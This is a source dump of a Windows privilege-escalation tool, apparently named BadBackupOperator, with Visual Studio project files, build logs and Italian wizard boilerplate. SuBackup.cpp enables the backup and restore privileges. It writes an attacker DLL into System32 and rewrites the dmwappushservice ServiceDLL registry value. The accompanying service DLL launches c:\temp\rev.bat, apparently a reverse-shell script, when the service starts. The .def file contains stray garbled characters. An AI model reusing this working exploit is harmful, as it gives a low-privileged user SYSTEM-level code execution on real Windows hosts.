├── .gitattributes ├── SuBackup ├── SuBackup.VC.db ├── SuBackup.sln ├── SuBackup │ ├── ReadMe.txt │ ├── SuBackup.cpp │ ├── SuBackup.vcxproj │ ├── SuBackup.vcxproj.filters │ ├── stdafx.cpp │ ├── stdafx.h │ ├── targetver.h │ └── x64 │ │ └── Release │ │ ├── SuBackup.Build.CppClean.log │ │ ├── SuBackup.log │ │ ├── SuBackup.obj │ │ ├── SuBackup.pch │ │ ├── SuBackup.tlog │ │ ├── CL.command.1.tlog │ │ ├── CL.read.1.tlog │ │ ├── CL.write.1.tlog │ │ ├── SuBackup.lastbuildstate │ │ ├── link.command.1.tlog │ │ ├── link.read.1.tlog │ │ └── link.write.1.tlog │ │ ├── stdafx.obj │ │ └── vc140.pdb └── x64 │ └── Release │ ├── SuBackup.exe │ ├── SuBackup.iobj │ ├── SuBackup.ipdb │ └── SuBackup.pdb └── servicedll ├── servicedll.sln ├── servicedll ├── ReadMe.txt ├── dllmain.cpp ├── servicedll.cpp ├── servicedll.def ├── servicedll.vcxproj ├── servicedll.vcxproj.filters ├── stdafx.cpp ├── stdafx.h ├── targetver.h └── x64 │ └── Release │ ├── servicedll.Build.CppClean.log │ ├── servicedll.log │ ├── servicedll.obj │ ├── servicedll.pch │ ├── servicedll.tlog │ ├── CL.command.1.tlog │ ├── CL.read.1.tlog │ ├── CL.write.1.tlog │ ├── link.command.1.tlog │ ├── link.read.1.tlog │ ├── link.write.1.tlog │ ├── servicedll.lastbuildstate │ └── servicedll.write.1u.tlog │ ├── stdafx.obj │ └── vc140.pdb └── x64 └── Release ├── servicedll.dll ├── servicedll.exp ├── servicedll.iobj ├── servicedll.ipdb ├── servicedll.lib └── servicedll.pdb /.gitattributes: -------------------------------------------------------------------------------- 1 | # Auto detect text files and perform LF normalization 2 | * text=auto 3 | -------------------------------------------------------------------------------- /SuBackup/SuBackup.VC.db: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/decoder-it/BadBackupOperator/22942a99b501435abd197625b1168466ba7ef2bd/SuBackup/SuBackup.VC.db -------------------------------------------------------------------------------- /SuBackup/SuBackup.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio 14 4 | VisualStudioVersion = 14.0.25420.1 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "SuBackup", "SuBackup\SuBackup.vcxproj", "{0B0145DF-B5B0-42D0-8B64-E791213435E0}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|x64 = Debug|x64 11 | Debug|x86 = Debug|x86 12 | Release|x64 = Release|x64 13 | Release|x86 = Release|x86 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {0B0145DF-B5B0-42D0-8B64-E791213435E0}.Debug|x64.ActiveCfg = Debug|x64 17 | {0B0145DF-B5B0-42D0-8B64-E791213435E0}.Debug|x64.Build.0 = Debug|x64 18 | {0B0145DF-B5B0-42D0-8B64-E791213435E0}.Debug|x86.ActiveCfg = Debug|Win32 19 | {0B0145DF-B5B0-42D0-8B64-E791213435E0}.Debug|x86.Build.0 = Debug|Win32 20 | {0B0145DF-B5B0-42D0-8B64-E791213435E0}.Release|x64.ActiveCfg = Release|x64 21 | {0B0145DF-B5B0-42D0-8B64-E791213435E0}.Release|x64.Build.0 = Release|x64 22 | {0B0145DF-B5B0-42D0-8B64-E791213435E0}.Release|x86.ActiveCfg = Release|Win32 23 | {0B0145DF-B5B0-42D0-8B64-E791213435E0}.Release|x86.Build.0 = Release|Win32 24 | EndGlobalSection 25 | GlobalSection(SolutionProperties) = preSolution 26 | HideSolutionNode = FALSE 27 | EndGlobalSection 28 | EndGlobal 29 | -------------------------------------------------------------------------------- /SuBackup/SuBackup/ReadMe.txt: -------------------------------------------------------------------------------- 1 | ======================================================================== 2 | APPLICAZIONE CONSOLE: cenni preliminari sul progetto SuBackup 3 | ======================================================================== 4 | 5 | La creazione guidata applicazione ha creato questa applicazione SuBackup. 6 | 7 | Questo file contiene un riepilogo del contenuto di ciascun file che fa parte 8 | dell'applicazione SuBackup. 9 | 10 | 11 | SuBackup.vcxproj 12 | File di progetto principale per i progetti VC++ generati tramite una creazione guidata applicazione. Contiene informazioni sulla versione di Visual C++ che ha generato il file e informazioni sulle piattaforme, le configurazioni e le caratteristiche del progetto selezionate con la Creazione guidata applicazione. 13 | 14 | SuBackup.vcxproj.filters 15 | File dei filtri per i progetti VC++ generati tramite una Creazione guidata applicazione. Contiene informazioni sull'associazione tra i file del progetto e i filtri. Tale associazione viene utilizzata nell'IDE per la visualizzazione di raggruppamenti di file con estensioni simili in un nodo specifico, ad esempio: i file con estensione cpp sono associati al filtro "File di origine". 16 | 17 | SuBackup.cpp 18 | File di origine principale dell'applicazione. 19 | 20 | ///////////////////////////////////////////////////////////////////////////// 21 | Altri file standard: 22 | 23 | StdAfx.h, StdAfx.cpp 24 | Tali file vengono utilizzati per generare il file di intestazione precompilato SuBackup.pch e il file dei tipi precompilato StdAfx.obj. 25 | 26 | ///////////////////////////////////////////////////////////////////////////// 27 | Altre note: 28 | 29 | La creazione guidata applicazione utilizza i commenti "TODO:" per indicare le 30 | parti del codice sorgente da aggiungere o personalizzare. 31 | 32 | ///////////////////////////////////////////////////////////////////////////// 33 | -------------------------------------------------------------------------------- /SuBackup/SuBackup/SuBackup.cpp: -------------------------------------------------------------------------------- 1 | // SuBackup.cpp : definisce il punto di ingresso dell'applicazione console. 2 | // 3 | 4 | #include "stdafx.h" 5 | 6 | 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | #pragma comment(lib, "secur32.lib") 18 | 19 | #define STATUS_SUCCESS 0 20 | 21 | #define FSIZE 11777 22 | 23 | 24 | 25 | int HackService(); 26 | BOOL SetPrivilege( 27 | _In_ HANDLE hToken, 28 | _In_z_ LPCTSTR lpszPrivilege, 29 | _In_ BOOL bEnablePrivilege 30 | ) 31 | { 32 | TOKEN_PRIVILEGES tp; 33 | LUID luid; 34 | 35 | if (!LookupPrivilegeValue( 36 | NULL, // lookup privilege on local system 37 | lpszPrivilege, // privilege to lookup 38 | &luid)) // receives LUID of privilege 39 | { 40 | fprintf(stderr, "LookupPrivilegeValue failed (error: %u).\n", GetLastError()); 41 | return FALSE; 42 | } 43 | 44 | tp.PrivilegeCount = 1; 45 | tp.Privileges[0].Luid = luid; 46 | if (bEnablePrivilege) 47 | tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 48 | else 49 | tp.Privileges[0].Attributes = 0; 50 | 51 | // 52 | // Enable the privilege or disable all privileges. 53 | // 54 | if (!AdjustTokenPrivileges( 55 | hToken, 56 | FALSE, 57 | &tp, 58 | sizeof(TOKEN_PRIVILEGES), 59 | (PTOKEN_PRIVILEGES)NULL, 60 | (PDWORD)NULL)) 61 | { 62 | fprintf(stderr, "AdjustTokenPrivileges failed (error: %u).\n", GetLastError()); 63 | return FALSE; 64 | } 65 | else 66 | { 67 | if (GetLastError() == ERROR_NOT_ALL_ASSIGNED) 68 | { 69 | fprintf(stderr, "The token does not have the specified privilege (%S).\n", lpszPrivilege); 70 | return FALSE; 71 | } 72 | else 73 | { 74 | printf("AdjustTokenPrivileges (%S): OK\n", lpszPrivilege); 75 | } 76 | } 77 | 78 | return TRUE; 79 | } 80 | int main(int argc, char **argv) 81 | { 82 | 83 | HANDLE hProcess = GetCurrentProcess(); 84 | HANDLE hToken; 85 | OpenProcessToken(hProcess, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 86 | if (!SetPrivilege(hToken, SE_BACKUP_NAME, TRUE)) 87 | { 88 | exit(EXIT_FAILURE); 89 | } 90 | if (!SetPrivilege(hToken, SE_RESTORE_NAME, TRUE)) 91 | { 92 | exit(EXIT_FAILURE); 93 | } 94 | 95 | 96 | HackService(); 97 | } 98 | 99 | int HackService() 100 | { 101 | HANDLE dest, source; 102 | HKEY hk; 103 | char buf[FSIZE + 1]; 104 | DWORD bytesread, byteswritten; 105 | LPCWSTR fnamein = L"c:\\temp\\servicedll.dll"; 106 | LPCWSTR fnameout = L"c:\\windows\\system32\\servicedll.dll"; 107 | std::string data = "c:\\windows\\system32\\servicedll.dll"; 108 | source = CreateFile(fnamein, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); 109 | if (source == INVALID_HANDLE_VALUE) { 110 | printf("Error, source file not opened."); 111 | exit(EXIT_FAILURE); 112 | } 113 | 114 | 115 | dest = CreateFile(fnameout, 116 | GENERIC_WRITE, 117 | FILE_SHARE_WRITE, 118 | NULL, 119 | CREATE_ALWAYS, 120 | FILE_FLAG_BACKUP_SEMANTICS, 121 | NULL); 122 | if (dest == INVALID_HANDLE_VALUE) { 123 | 124 | printf("Could not open %s file, error %d\n", fnameout, GetLastError()); 125 | exit(EXIT_FAILURE); 126 | } 127 | 128 | ReadFile(source, buf, FSIZE, &bytesread, NULL); 129 | printf("Read bytes from source dll: %d\n", bytesread); 130 | WriteFile(dest, buf, bytesread, &byteswritten, NULL); 131 | CloseHandle(dest); 132 | CloseHandle(source); 133 | printf("Bytes written to dest servicedll %d\n", byteswritten); 134 | 135 | LSTATUS stat = RegCreateKeyExA(HKEY_LOCAL_MACHINE, 136 | "SYSTEM\\CurrentControlSet\\Services\\dmwappushservice\\Parameters", 137 | 0, 138 | NULL, 139 | REG_OPTION_BACKUP_RESTORE, 140 | KEY_SET_VALUE, 141 | NULL, 142 | &hk, 143 | NULL); 144 | stat = RegSetValueExA(hk, "ServiceDLL", 0, REG_EXPAND_SZ, (const BYTE*)data.c_str(), data.length() + 1); 145 | if (stat != ERROR_SUCCESS) { 146 | printf("[-] Failed writing!", stat); 147 | exit(EXIT_FAILURE); 148 | } 149 | printf("Setting registry OK\n"); 150 | return 1; 151 | } 152 | -------------------------------------------------------------------------------- /SuBackup/SuBackup/SuBackup.vcxproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | {0B0145DF-B5B0-42D0-8B64-E791213435E0} 23 | Win32Proj 24 | SuBackup 25 | 8.1 26 | 27 | 28 | 29 | Application 30 | true 31 | v140 32 | Unicode 33 | 34 | 35 | Application 36 | false 37 | v140 38 | true 39 | Unicode 40 | 41 | 42 | Application 43 | true 44 | v140 45 | Unicode 46 | 47 | 48 | Application 49 | false 50 | v140 51 | true 52 | Unicode 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | true 74 | 75 | 76 | true 77 | 78 | 79 | false 80 | 81 | 82 | false 83 | 84 | 85 | 86 | Use 87 | Level3 88 | Disabled 89 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) 90 | 91 | 92 | Console 93 | true 94 | 95 | 96 | 97 | 98 | Use 99 | Level3 100 | Disabled 101 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions) 102 | 103 | 104 | Console 105 | true 106 | 107 | 108 | 109 | 110 | Level3 111 | Use 112 | MaxSpeed 113 | true 114 | true 115 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 116 | 117 | 118 | Console 119 | true 120 | true 121 | true 122 | 123 | 124 | 125 | 126 | Level3 127 | Use 128 | MaxSpeed 129 | true 130 | true 131 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 132 | 133 | 134 | Console 135 | true 136 | true 137 | true 138 | 139 | 140 | 141 | 142 | 143 | 144 | 145 | 146 | 147 | 148 | 149 | Create 150 | Create 151 | Create 152 | Create 153 | 154 | 155 | 156 | 157 | 158 | 159 | -------------------------------------------------------------------------------- /SuBackup/SuBackup/SuBackup.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;hm;inl;inc;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | File di intestazione 23 | 24 | 25 | File di intestazione 26 | 27 | 28 | 29 | 30 | File di origine 31 | 32 | 33 | File di origine 34 | 35 | 36 | -------------------------------------------------------------------------------- /SuBackup/SuBackup/stdafx.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/decoder-it/BadBackupOperator/22942a99b501435abd197625b1168466ba7ef2bd/SuBackup/SuBackup/stdafx.cpp -------------------------------------------------------------------------------- /SuBackup/SuBackup/stdafx.h: -------------------------------------------------------------------------------- 1 | // stdafx.h : file di inclusione per file di inclusione di sistema standard 2 | // o file di inclusione specifici del progetto utilizzati di frequente, ma 3 | // modificati raramente 4 | // 5 | 6 | #pragma once 7 | 8 | #include "targetver.h" 9 | 10 | #include 11 | #include 12 | 13 | 14 | 15 | // TODO: fare riferimento qui alle intestazioni aggiuntive richieste dal programma 16 | -------------------------------------------------------------------------------- /SuBackup/SuBackup/targetver.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/decoder-it/BadBackupOperator/22942a99b501435abd197625b1168466ba7ef2bd/SuBackup/SuBackup/targetver.h -------------------------------------------------------------------------------- /SuBackup/SuBackup/x64/Release/SuBackup.Build.CppClean.log: -------------------------------------------------------------------------------- 1 | d:\repogit\badbackupoperator\subackup\subackup\x64\release\subackup.pch 2 | d:\repogit\badbackupoperator\subackup\subackup\x64\release\vc140.pdb 3 | d:\repogit\badbackupoperator\subackup\subackup\x64\release\stdafx.obj 4 | d:\repogit\badbackupoperator\subackup\subackup\x64\release\subackup.obj 5 | d:\repogit\badbackupoperator\subackup\x64\release\subackup.exe 6 | d:\repogit\badbackupoperator\subackup\x64\release\subackup.ipdb 7 | d:\repogit\badbackupoperator\subackup\x64\release\subackup.iobj 8 | d:\repogit\badbackupoperator\subackup\x64\release\subackup.pdb 9 | d:\repogit\badbackupoperator\subackup\subackup\x64\release\subackup.tlog\cl.command.1.tlog 10 | d:\repogit\badbackupoperator\subackup\subackup\x64\release\subackup.tlog\cl.read.1.tlog 11 | d:\repogit\badbackupoperator\subackup\subackup\x64\release\subackup.tlog\cl.write.1.tlog 12 | d:\repogit\badbackupoperator\subackup\subackup\x64\release\subackup.tlog\link.command.1.tlog 13 | d:\repogit\badbackupoperator\subackup\subackup\x64\release\subackup.tlog\link.read.1.tlog 14 | d:\repogit\badbackupoperator\subackup\subackup\x64\release\subackup.tlog\link.write.1.tlog 15 | -------------------------------------------------------------------------------- /SuBackup/SuBackup/x64/Release/SuBackup.log: -------------------------------------------------------------------------------- 1 |  stdafx.cpp 2 | SuBackup.cpp 3 | SuBackup.cpp(144): warning C4267: 'argomento': conversione da 'size_t' a 'DWORD'. Possibile perdita di dati. 4 | SuBackup.cpp(124): warning C4477: 'printf': con la stringa di formato '%s' è necessario un argomento di tipo 'char *', ma il tipo dell'argomento variadic 1 è 'LPCWSTR' 5 | SuBackup.cpp(124): note: provare a usare '%ls' nella stringa di formato 6 | SuBackup.cpp(124): note: provare a usare '%lls' nella stringa di formato 7 | SuBackup.cpp(124): note: provare a usare '%Ls' nella stringa di formato 8 | SuBackup.cpp(124): note: provare a usare '%ws' nella stringa di formato 9 | SuBackup.cpp(146): warning C4474: 'printf': sono stati passati troppi argomenti per la stringa di formato 10 | SuBackup.cpp(146): note: con i segnaposto e i relativi parametri sono previsti argomenti variadic 0, ma sono stati specificati quelli 1 11 | Generazione codice in corso... 12 | All 76 functions were compiled because no usable IPDB/IOBJ from previous compilation was found. 13 | Generazione codice terminata 14 | SuBackup.vcxproj -> D:\repogit\BadBackupOperator\SuBackup\x64\Release\SuBackup.exe 15 | SuBackup.vcxproj -> D:\repogit\BadBackupOperator\SuBackup\x64\Release\SuBackup.pdb (Full PDB) 16 | -------------------------------------------------------------------------------- /SuBackup/SuBackup/x64/Release/SuBackup.obj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/decoder-it/BadBackupOperator/22942a99b501435abd197625b1168466ba7ef2bd/SuBackup/SuBackup/x64/Release/SuBackup.obj -------------------------------------------------------------------------------- /SuBackup/SuBackup/x64/Release/SuBackup.pch: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/decoder-it/BadBackupOperator/22942a99b501435abd197625b1168466ba7ef2bd/SuBackup/SuBackup/x64/Release/SuBackup.pch -------------------------------------------------------------------------------- /SuBackup/SuBackup/x64/Release/SuBackup.tlog/CL.command.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/decoder-it/BadBackupOperator/22942a99b501435abd197625b1168466ba7ef2bd/SuBackup/SuBackup/x64/Release/SuBackup.tlog/CL.command.1.tlog -------------------------------------------------------------------------------- /SuBackup/SuBackup/x64/Release/SuBackup.tlog/CL.read.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/decoder-it/BadBackupOperator/22942a99b501435abd197625b1168466ba7ef2bd/SuBackup/SuBackup/x64/Release/SuBackup.tlog/CL.read.1.tlog -------------------------------------------------------------------------------- /SuBackup/SuBackup/x64/Release/SuBackup.tlog/CL.write.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/decoder-it/BadBackupOperator/22942a99b501435abd197625b1168466ba7ef2bd/SuBackup/SuBackup/x64/Release/SuBackup.tlog/CL.write.1.tlog -------------------------------------------------------------------------------- /SuBackup/SuBackup/x64/Release/SuBackup.tlog/SuBackup.lastbuildstate: -------------------------------------------------------------------------------- 1 | #TargetFrameworkVersion=v4.0:PlatformToolSet=v140:EnableManagedIncrementalBuild=false:VCToolArchitecture=Native32Bit:WindowsTargetPlatformVersion=8.1 2 | Release|x64|D:\repogit\BadBackupOperator\SuBackup\| 3 | -------------------------------------------------------------------------------- /SuBackup/SuBackup/x64/Release/SuBackup.tlog/link.command.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/decoder-it/BadBackupOperator/22942a99b501435abd197625b1168466ba7ef2bd/SuBackup/SuBackup/x64/Release/SuBackup.tlog/link.command.1.tlog -------------------------------------------------------------------------------- /SuBackup/SuBackup/x64/Release/SuBackup.tlog/link.read.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/decoder-it/BadBackupOperator/22942a99b501435abd197625b1168466ba7ef2bd/SuBackup/SuBackup/x64/Release/SuBackup.tlog/link.read.1.tlog -------------------------------------------------------------------------------- /SuBackup/SuBackup/x64/Release/SuBackup.tlog/link.write.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/decoder-it/BadBackupOperator/22942a99b501435abd197625b1168466ba7ef2bd/SuBackup/SuBackup/x64/Release/SuBackup.tlog/link.write.1.tlog -------------------------------------------------------------------------------- /SuBackup/SuBackup/x64/Release/stdafx.obj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/decoder-it/BadBackupOperator/22942a99b501435abd197625b1168466ba7ef2bd/SuBackup/SuBackup/x64/Release/stdafx.obj -------------------------------------------------------------------------------- /SuBackup/SuBackup/x64/Release/vc140.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/decoder-it/BadBackupOperator/22942a99b501435abd197625b1168466ba7ef2bd/SuBackup/SuBackup/x64/Release/vc140.pdb -------------------------------------------------------------------------------- /SuBackup/x64/Release/SuBackup.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/decoder-it/BadBackupOperator/22942a99b501435abd197625b1168466ba7ef2bd/SuBackup/x64/Release/SuBackup.exe -------------------------------------------------------------------------------- /SuBackup/x64/Release/SuBackup.iobj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/decoder-it/BadBackupOperator/22942a99b501435abd197625b1168466ba7ef2bd/SuBackup/x64/Release/SuBackup.iobj -------------------------------------------------------------------------------- /SuBackup/x64/Release/SuBackup.ipdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/decoder-it/BadBackupOperator/22942a99b501435abd197625b1168466ba7ef2bd/SuBackup/x64/Release/SuBackup.ipdb -------------------------------------------------------------------------------- /SuBackup/x64/Release/SuBackup.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/decoder-it/BadBackupOperator/22942a99b501435abd197625b1168466ba7ef2bd/SuBackup/x64/Release/SuBackup.pdb -------------------------------------------------------------------------------- /servicedll/servicedll.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio 14 4 | VisualStudioVersion = 14.0.25420.1 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "servicedll", "servicedll\servicedll.vcxproj", "{B2DDFB7A-8118-46DE-9DAD-AB651F8DC9FB}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|x64 = Debug|x64 11 | Debug|x86 = Debug|x86 12 | Release|x64 = Release|x64 13 | Release|x86 = Release|x86 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {B2DDFB7A-8118-46DE-9DAD-AB651F8DC9FB}.Debug|x64.ActiveCfg = Debug|x64 17 | {B2DDFB7A-8118-46DE-9DAD-AB651F8DC9FB}.Debug|x64.Build.0 = Debug|x64 18 | {B2DDFB7A-8118-46DE-9DAD-AB651F8DC9FB}.Debug|x86.ActiveCfg = Debug|Win32 19 | {B2DDFB7A-8118-46DE-9DAD-AB651F8DC9FB}.Debug|x86.Build.0 = Debug|Win32 20 | {B2DDFB7A-8118-46DE-9DAD-AB651F8DC9FB}.Release|x64.ActiveCfg = Release|x64 21 | {B2DDFB7A-8118-46DE-9DAD-AB651F8DC9FB}.Release|x64.Build.0 = Release|x64 22 | {B2DDFB7A-8118-46DE-9DAD-AB651F8DC9FB}.Release|x86.ActiveCfg = Release|Win32 23 | {B2DDFB7A-8118-46DE-9DAD-AB651F8DC9FB}.Release|x86.Build.0 = Release|Win32 24 | EndGlobalSection 25 | GlobalSection(SolutionProperties) = preSolution 26 | HideSolutionNode = FALSE 27 | EndGlobalSection 28 | EndGlobal 29 | -------------------------------------------------------------------------------- /servicedll/servicedll/ReadMe.txt: -------------------------------------------------------------------------------- 1 | ======================================================================== 2 | LIBRERIA A COLLEGAMENTO DINAMICO: cenni preliminari sul progetto servicedll 3 | ======================================================================== 4 | 5 | La Creazione guidata applicazione ha creato questa DLL servicedll. 6 | 7 | Questo file contiene un riepilogo del contenuto di ciascun file che fa parte 8 | dell'applicazione servicedll. 9 | 10 | 11 | servicedll.vcxproj 12 | File di progetto principale per i progetti VC++ generati tramite una creazione guidata applicazione. Contiene informazioni sulla versione di Visual C++ che ha generato il file e informazioni sulle piattaforme, le configurazioni e le caratteristiche del progetto selezionate con la Creazione guidata applicazione. 13 | 14 | servicedll.vcxproj.filters 15 | File dei filtri per i progetti VC++ generati tramite una Creazione guidata applicazione. Contiene informazioni sull'associazione tra i file del progetto e i filtri. Tale associazione viene utilizzata nell'IDE per la visualizzazione di raggruppamenti di file con estensioni simili in un nodo specifico, ad esempio: i file con estensione cpp sono associati al filtro "File di origine". 16 | 17 | servicedll.cpp 18 | File di origine della DLL principale. 19 | 20 | Una volta creata, questa DLL non esporta alcun simbolo. Di conseguenza, non produrrà un file LIB quando viene compilata. Se si desidera impostare questo progetto come dipendenza di un altro progetto, sarà necessario aggiungere il codice per esportare alcuni simboli dalla DLL in modo da produrre una libreria di esportazione oppure è possibile impostare la proprietà Ignore Input Library su Yes nella pagina delle proprietà Generale della cartella Linker nella finestra di dialogo Pagine delle proprietà del progetto. 21 | 22 | ///////////////////////////////////////////////////////////////////////////// 23 | Altri file standard: 24 | 25 | StdAfx.h, StdAfx.cpp 26 | Tali file vengono utilizzati per generare il file di intestazione precompilato servicedll.pch e il file dei tipi precompilato StdAfx.obj. 27 | 28 | ///////////////////////////////////////////////////////////////////////////// 29 | Altre note: 30 | 31 | La creazione guidata applicazione utilizza i commenti "TODO:" per indicare le 32 | parti del codice sorgente da aggiungere o personalizzare. 33 | 34 | ///////////////////////////////////////////////////////////////////////////// 35 | -------------------------------------------------------------------------------- /servicedll/servicedll/dllmain.cpp: -------------------------------------------------------------------------------- 1 | // dllmain.cpp: definisce il punto di ingresso per l'applicazione DLL. 2 | #include "stdafx.h" 3 | 4 | BOOL APIENTRY DllMain( HMODULE hModule, 5 | DWORD ul_reason_for_call, 6 | LPVOID lpReserved 7 | ) 8 | { 9 | switch (ul_reason_for_call) 10 | { 11 | case DLL_PROCESS_ATTACH: 12 | case DLL_THREAD_ATTACH: 13 | case DLL_THREAD_DETACH: 14 | case DLL_PROCESS_DETACH: 15 | break; 16 | } 17 | return TRUE; 18 | } 19 | 20 | -------------------------------------------------------------------------------- /servicedll/servicedll/servicedll.cpp: -------------------------------------------------------------------------------- 1 | // servicedll.cpp: definisce le funzioni esportate per l'applicazione DLL. 2 | // 3 | 4 | #include "stdafx.h" 5 | #include 6 | #define EXPORT comment(linker, "/EXPORT:" __FUNCTION__ "=" __FUNCDNAME__) 7 | __declspec(dllexport) VOID WINAPI ServiceMain(DWORD dwArgc, LPTSTR *lpszArgv); 8 | __declspec(dllexport) DWORD WINAPI MyHandler(DWORD dwControl, DWORD dwEventType, LPVOID lpEventData, LPVOID lpContext); 9 | 10 | SERVICE_STATUS_HANDLE hServiceStatusHandle; 11 | SERVICE_STATUS ServiceStatus; 12 | void Log(char *message); 13 | void Log(char *message) 14 | { 15 | FILE *file; 16 | 17 | 18 | file = fopen("c:/temp/log.txt", "a+"); 19 | 20 | 21 | fputs(message, file); 22 | fclose(file); 23 | 24 | } 25 | 26 | 27 | BOOL APIENTRY DllMain(HMODULE hModule, 28 | DWORD ul_reason_for_call, 29 | LPVOID lpReserved 30 | ) 31 | { 32 | return TRUE; 33 | } 34 | 35 | 36 | VOID WINAPI ServiceMain(DWORD dwArgc, LPTSTR *lpszArgv) 37 | { 38 | #pragma EXPORT 39 | 40 | 41 | Log("service main\n"); 42 | DWORD status = 0; 43 | DWORD specificError = 0xfffffff; 44 | 45 | ServiceStatus.dwServiceType = SERVICE_WIN32_SHARE_PROCESS; 46 | ServiceStatus.dwCurrentState = SERVICE_START_PENDING; 47 | ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN | SERVICE_ACCEPT_PAUSE_CONTINUE; 48 | ServiceStatus.dwWin32ExitCode = 0; 49 | ServiceStatus.dwServiceSpecificExitCode = 0; 50 | ServiceStatus.dwCheckPoint = 0; 51 | ServiceStatus.dwWaitHint = 0; 52 | //SERVICE_STATUS_HANDLE hStatus 53 | hServiceStatusHandle = RegisterServiceCtrlHandlerW(L"webclient", (LPHANDLER_FUNCTION)MyHandler); 54 | if (hServiceStatusHandle == (SERVICE_STATUS_HANDLE)0) 55 | { 56 | // Registering Control Handler failed 57 | Log("Registering Control Handler failed\n"); 58 | return; 59 | } 60 | ServiceStatus.dwCurrentState = SERVICE_RUNNING; 61 | SetServiceStatus(hServiceStatusHandle, &ServiceStatus); 62 | 63 | // Initialize Service 64 | //startSvc(); 65 | STARTUPINFO si; 66 | PROCESS_INFORMATION pi; 67 | ZeroMemory(&pi, sizeof(pi)); 68 | ZeroMemory(&si, sizeof(si)); 69 | si.cb = sizeof(si); 70 | if (!CreateProcess(L"c:\\temp\\rev.bat", NULL, NULL, NULL, 0, 0, NULL, NULL, &si, &pi)) 71 | Log("proc failes\n"); 72 | // Register the handler function for the service 73 | 74 | 75 | } 76 | 77 | DWORD WINAPI MyHandler( 78 | DWORD dwControl, 79 | DWORD dwEventType, 80 | LPVOID lpEventData, 81 | LPVOID lpContext 82 | ) 83 | { 84 | #pragma EXPORT 85 | Log("handler\n"); 86 | 87 | switch (dwControl) 88 | { 89 | case SERVICE_CONTROL_STOP: 90 | case SERVICE_CONTROL_SHUTDOWN: 91 | Log("handler stop\n"); 92 | ServiceStatus.dwWin32ExitCode = 0; 93 | ServiceStatus.dwCurrentState = SERVICE_STOPPED; 94 | ServiceStatus.dwCheckPoint = 0; 95 | ServiceStatus.dwWaitHint = 0; 96 | break; 97 | case SERVICE_CONTROL_PAUSE: 98 | ServiceStatus.dwCurrentState = SERVICE_PAUSED; 99 | break; 100 | case SERVICE_CONTROL_CONTINUE: 101 | ServiceStatus.dwCurrentState = SERVICE_RUNNING; 102 | break; 103 | case SERVICE_CONTROL_INTERROGATE: 104 | break; 105 | default: 106 | break; 107 | }; 108 | 109 | SetServiceStatus(hServiceStatusHandle, &ServiceStatus); 110 | 111 | return NO_ERROR; 112 | } 113 | 114 | 115 | 116 | -------------------------------------------------------------------------------- /servicedll/servicedll/servicedll.def: -------------------------------------------------------------------------------- 1 | LIBRARY servicedllsss 2 | ss 3 | EXPORTS 4 | ServiceMain @1 5 | ssssss -------------------------------------------------------------------------------- /servicedll/servicedll/servicedll.vcxproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | {B2DDFB7A-8118-46DE-9DAD-AB651F8DC9FB} 23 | Win32Proj 